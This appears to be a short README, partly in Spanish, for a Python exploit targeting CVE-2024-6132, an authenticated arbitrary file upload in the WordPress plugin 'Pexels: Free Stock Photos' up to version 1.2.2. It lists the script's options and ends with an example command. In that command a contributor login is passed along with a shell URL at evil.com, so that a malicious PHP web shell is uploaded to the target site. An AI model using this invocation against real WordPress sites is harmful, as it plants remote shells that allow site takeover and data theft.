CVE-2024-6132

Pexels: Fotos de stock gratuitas <= 1.2.2 - Carga arbitraria de archivos autenticada (Contribuidor+)

Uso

usage: CVE-2024-6132.py [-h] -u URL -un USERNAME -p PASSWORD -shell_url SHELL_URL

Pexels: Free Stock Photos <= 1.2.2 - Authenticated (Contributor+) Arbitrary File Upload | BY NXPLOIT - KHALED ALENAZI,

options:
  -h, --help            muestra este mensaje de ayuda y sale
  -u URL, --url URL     URL del sitio WordPress
  -un USERNAME, --username USERNAME
                        nombre de usuario de WordPress
  -p PASSWORD, --password PASSWORD
                        contraseña de WordPress
  -shell_url SHELL_URL, --shell_url SHELL_URL
                        URL del archivo PHP malicioso

Ejemplo:

python3 CVE-2024-6132.py -u https://targetsite.com -un contributor -p password123 -shell_url http://evil.com/shell.php